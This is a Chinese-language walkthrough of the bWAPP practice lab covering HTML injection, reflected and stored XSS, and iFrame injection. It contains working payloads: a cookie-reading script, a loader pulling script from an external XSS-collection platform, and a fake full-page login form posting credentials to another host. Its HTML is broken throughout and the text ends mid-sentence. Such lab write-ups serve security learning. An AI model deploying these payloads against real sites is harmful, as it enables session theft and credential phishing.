bwapp靶机教程

A1注入
html injection:
low:最基础的xss注入:
xss测试
1.get

<script>alert(/xss/)script>

bwapp靶机教程_第1张图片
跳转

<a href="https://www.baidu.com/">点击这儿领红包a>

在这里插入图片描述获取cookie:

<script>alert(document.cookie)script>)

bwapp靶机教程_第2张图片
xss平台利用:

tExtArEa>'"><sCRiPt sRC=//xsshs.cn/L0oJ>sCrIpT>

xss平台:
bwapp靶机教程_第3张图片
medium:
此时直接注入已经不能执行了
由于是get注入,考虑进行url编码:

<a href="https://www.baidu.com">click it <a>
%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d%22%3e%63%6c%69%63%6b%20%69%74%20%3c%61%3e

bwapp靶机教程_第4张图片同样跳到百度

high:
bwapp靶机教程_第5张图片可以看到源码将<>’’&进行编码,并且使用htmlspecialchars将html转化为实体,本来如果没有ENT_QUOTES参数的话还可以考虑使用单引号闭合 ’ firstname='alert(111)'来绕过,暂时没办法了

2.post
没什么好说的,只是表单提交方式变了而已
3.current url
bwapp靶机教程_第6张图片核心代码如上,url只能是来自请求头的host和url
low:
修改host
在这里插入图片描述在这里插入图片描述
修改url:
url会自动忽略#和//
在这里插入图片描述bwapp靶机教程_第7张图片这个中高级我没办法

储存型xss:
1
low,这个和反射性xss不一样的地方在于,反射性xss是一次性的,而存储型xss是只要浏览页面就会一直存在
而存储型xss相对来说危害性更大:
比如伪造一个登录框:

<form action="http://www.baidu.com">
<input type="text" name="username">input>
<input type="text" name="password">input>
<input type="submit">
form>

bwapp靶机教程_第8张图片当我在提交数据时,仍然出现了xss弹窗

当然也可以更加逼真的登录框:
#伪造登录

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.101 /login.htm"><table><tr><td>Username:td><td><input type="text" name="username"/>td>tr><tr><td>Password:td><td><input type="text" name="password"/>td>tr><tr><td colspan=2 align=center><input type="submit" value="Login"/>td>tr>table>form>div>

bwapp靶机教程_第9张图片或者也可覆盖原页面:

 <form action="http://www.baidu.com" method="POST">

	<table>

            <tr>

                <td colspan="6"><p><textarea name="entry" id="entry" cols="80" rows="3">textarea>p>td>

            tr>

            <tr>

                <td width="79" align="left">

                    <button type="submit" name="blog" value="submit">Submitbutton>

                td>

                <td width="85" align="center">

                    <label for="entry_add">Add:label>
                    <input type="checkbox" id="entry_add" name="entry_add" value="" checked="on">

                td>

                <td width="100" align="center">

                    <label for="entry_all">Show all:label>
                    <input type="checkbox" id="entry_all" name="entry_all" value="">

                td>

                <td width="106" align="center">

                    <label for="entry_delete">Delete:label>
                    <input type="checkbox" id="entry_delete" name="entry_delete" value="">

                td>

                <td width="7">td>

                <td align="left">td>

            tr>

	table>

    form>
中高级使用的函数是:mysqli_real_escape_string
转义特殊字符

iFrame Injection
low
iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

首先ParamUrl可以进行任意文件读取,同时也可以打开其它网站

iframei.php?ParamUrl=./666&ParamWidth=250&ParamHeight=250

bwapp靶机教程_第10张图片中级:
此时的ParamUrl已经不可控了,所以考虑从别的地方下手
而这些参数使用了